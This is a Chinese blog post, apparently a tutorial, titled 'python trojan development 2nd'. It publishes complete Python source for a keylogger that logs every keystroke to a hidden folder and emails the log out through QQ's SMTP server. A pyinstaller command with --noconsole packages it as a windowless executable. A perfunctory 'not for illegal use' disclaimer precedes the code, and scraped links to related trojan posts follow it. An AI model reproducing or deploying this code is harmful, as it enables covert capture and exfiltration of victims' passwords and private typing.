python trojan development 2nd —— use python to send mail and listen to the key board then combine them
请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!!
from pynput.keyboard import Key,Listener
import logging
import os
import smtplib
from email.mime.text import MIMEText
from PIL import ImageGrab
import random
from time import *
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
def send_mail(filename):
file = open(filename,"r",encoding="UTF-8")
data = file.read()
file.close()
msg_from='@qq.com' #发送方邮箱
passwd='' #填入发送方邮箱的授权码
msg_to=''
subject="python邮件测试" #主题
content=data
msg = MIMEText(content,"plain","utf-8")
msg['Subject'] = subject
msg['From'] = msg_from
msg['To'] = msg_to
try:
s = smtplib.SMTP_SSL("smtp.qq.com",465)
s.login(msg_from, passwd)
s.sendmail(msg_from, msg_to, msg.as_string())
print( "发送成功")
except:
print("发送失败")
finally:
s.quit()
def mkdir(path):
path = path.strip()
# 去除尾部 \ 符号
path = path.rstrip("\\")
isExists = os.path.exists(path)
# 判断结果
if not isExists:
os.makedirs(path)
# print(path + ' 创建成功')
return True
else:
# 如果目录存在则不创建,并提示目录已存在
# print(path + ' 目录已存在')
return False
# 定义要创建的目录
path = "C:\\hola\\"
# 调用函数
mkdir(path)
logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)
def press(key):
logging.info(key)
if key==Key.enter:
return False
with Listener(on_press = press) as listener:
listener.join()
send_mail(path+"keylog.txt")
打包时候注意了,有些命令层面的错误我就不说了,我这里直接上命令
pyinstaller -F xx.py --hidden-pynput --noconsole
python trojan development 2nd —— use python to send mail and listen to the key board then combine them的更多相关文章
- python trojan development 1st —— use python to send mail and caputre the screen then combine them
import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...
- python trojan development 3rd —— use python to creative a simple shell
前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...
- Python Geospatial Development reading note(1)
chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...
- Beginning Python Games Development
Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...
- Python 3.4 send mail
#coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...
- 【Python网络编程】利用Python进行TCP、UDP套接字编程
之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...
- 【转】linux和windows下安装python集成开发环境及其python包
本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...
- python公司面试题集锦 python面试题大全
问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...
- python 2016 大会 pyconsk ppt ---python dtrace
https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...
随机推荐
- Java 9 特性
Java 8 发布三年多之后,已经于在2017年9月21日发布了. 你可能已经听说过 Java 9 的模块系统,但是这个新版本还有许多其它的更新. 这里有九个令人兴奋的新功能. 1. Java 平台级 ...
- 怎样一步一步删除(linux & UNIX)环境下 oracle 11g 集群节点
Deleting a Cluster Node on Linux and UNIX Systems 1.确定要删除的节点,是否active,pinned $ olsnodes -s -t 假设 ...
- urllib2使用总结
keywords: urllib2,BeautifulSoup,cookielib 题外话: 小弟是编程爱好者,各位看官轻拍. 最近在使用urllib2抓取网页内容,在学习的过程中也查阅了不少资料,并 ...
- DOS符号转义(转 http://www.robvanderwoude.com/escapechars.php)
Escape Characters Character to be escaped Escape Sequence Remark % %% May not always be required in ...
- poj1548Robots dfs实践
//搜索每一行 //该生产线的整点已被清除 //然后位置,然后转移到下一个步走的最后一点 //然后,所有点的下面一行清晰 //然后重复上面的操作 #include<iostream> #i ...
- C 语言main 函数终极探秘(&& 的含义是:如果 && 前面的程序正常退出,则继续执行 && 后面的程序,否则不执行)
所有的C程序必须定义一个称之为main的外部函数,这个函数是程序的入口,也就是当程序启动时所执行的第一个函数,当这个函数返回时,程序也将终止,并且这个函数的返回值被看成是程序成功或失败的 ...
- jvm常用参数设置 专题
在jdk8中 -Xms2g不合法,能通过的:-Xms2G #!/bin/bash JAVA_OPTS="-Xms4G -Xmx4G -XX:+HeapDumpOnOutOfMemoryErr ...
- jquery 克隆div 复制div 克隆元素 复制元素
代码: $('.div1').clone() 定义和用法 clone() 方法生成被选元素的副本,包含子节点.文本和属性. 语法 $(selector).clone(includeEvents) 参数 ...
- laravel在wamp中输入地址后总是无法访问
在wamp中的apache中conf的httpd.conf #LoadModule rewrite_module modules/mod_rewrite.so 改为 LoadModule rewrit ...
- WPF开发之限制输入的控件---------转自CDSN
原文地址 http://blog.csdn.net/ghosind/article/details/51627601 作者 ghosind 一,正则表达式过滤字符串 if (RegexString = ...